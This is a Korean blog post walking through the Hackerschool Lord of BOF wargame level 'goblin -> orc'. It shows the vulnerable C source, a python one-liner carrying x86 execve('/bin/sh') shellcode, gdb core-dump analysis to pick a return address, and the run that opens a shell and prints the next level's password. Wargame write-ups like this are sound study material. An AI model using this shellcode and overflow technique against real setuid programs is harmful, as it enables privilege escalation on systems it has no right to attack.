해커스쿨 LOB LEVEL4 [goblin -> orc] 풀이
M4ndU
해커스쿨 LOB [goblin -> orc] 풀이입니다.
ID | goblin
PW | hackers proof
으로 로그인합니다.
\xff 를 \x00으로 인식하는 오류를 피해 bash2를 사용합니다.
$ bash2
그리고
$ ls -l
를 이용해 어떤 파일과 어떤 폴더가 있는지 확인하고,
$ cat [문제이름].c
를 이용해 소스코드를 확인합시다.
login: goblin
Password:
[goblin@localhost goblin]$ bash2
[goblin@localhost goblin]$ ls -l
total 20
-rwsr-sr-x 1 orc orc 12567 Feb 26 2010 orc
-rw-r--r-- 1 root root 505 Mar 29 2010 orc.c
[goblin@localhost goblin]$ cat orc.c
/*
The Lord of the BOF : The Fellowship of the BOF
- orc
- egghunter
*/
#include <stdio.h>
#include <stdlib.h>
extern char **environ;
main(int argc, char *argv[])
{
char buffer[40];
int i;
if(argc < 2){
printf("argv error\n");
exit(0);
}
// egghunter
for(i=0; environ[i]; i++)
memset(environ[i], 0, strlen(environ[i]));
if(argv[1][47] != '\xbf')
{
printf("stack is still your friend.\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
}
// egghunter
for(i=0; environ[i]; i++)
memset(environ[i], 0, strlen(environ[i]));
환경변수부분을 0으로 설정해 버려서 환경변수를 사용할 수 없네요.
if(argv[1][47] != '\xbf')
{
printf("stack is still your friend.\n");
exit(0);
}
그리고 리턴주소의 첫바이트는 0xbf이어야 하네요.
스택영역을 사용하면 되기 때문에 쉘코드를 buffer에 넣겠습니다. 그러면
./orc `python -c 'print "\x90"*19+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+RET'`
가 되겠네요.
쉘코드가 있는 곳을 알아봅시다.
문제파일을 복사해서 core파일을 분석하면 됩니다.
[goblin@localhost tmp]$ ./orc `python -c 'print "\x90"*19+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\xff\xff\xff\xbf"'`
릱릱릱릱릱릱릱릱릱?픐h//shh/bin됥PS됣됀?
??
Segmentation fault (core dumped)
[goblin@localhost tmp]$ gdb -c core -q
Core was generated by `./orc 릱릱릱릱릱릱릱릱릱?픐h//shh/bin됥PS됣됀?
??.
Program terminated with signal 11, Segmentation fault.
#0 0xbfffffff in ?? ()
(gdb) x/500x $esp
0xbffffaf0: 0x00000000 0xbffffb34 0xbffffb40 0x40013868
0xbffffb00: 0x00000002 0x08048450 0x00000000 0x08048471
(생략)
0xbffffc20: 0x00000000 0x00000000 0x69000000 0x00363836
0xbffffc30: 0x726f2f2e 0x90900063 0x90909090 0x90909090
0xbffffc40: 0x90909090 0x90909090 0x50c03190 0x732f2f68
0xbffffc50: 0x622f6868 0xe3896e69 0xe1895350 0x0bb0c289
0xbffffc60: 0xffff80cd 0x0000bfff 0x00000000 0x00000000
(생략)
우리가 입력한 값들이 보이네요.
리턴주소를 0xbffffc40으로 잡겠습니다.
[goblin@localhost goblin]$ ./orc `python -c 'print "\x90"*19+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\x40\xfc\xff\xbf"'`
릱릱릱릱릱릱릱릱릱?픐h//shh/bin됥PS됣됀?
?@??
bash$ my-pass
euid = 504
cantata
bash$
'System Hacking > LOB Redhat' 카테고리의 다른 글
해커스쿨 LOB LEVEL6 [wolfman-> darkelf] 풀이 (1) | 2018.02.11 |
---|---|
해커스쿨 LOB LEVEL5 [orc -> wolfman] 풀이 (0) | 2018.02.11 |
해커스쿨 LOB LEVEL3 [cobolt -> goblin] 풀이 (0) | 2018.02.10 |
해커스쿨 LOB LEVEL2 [gremlin -> cobolt] 풀이 (0) | 2018.02.10 |
해커스쿨 LOB LEVEL1 [gate -> gremlin] 풀이 (0) | 2018.02.10 |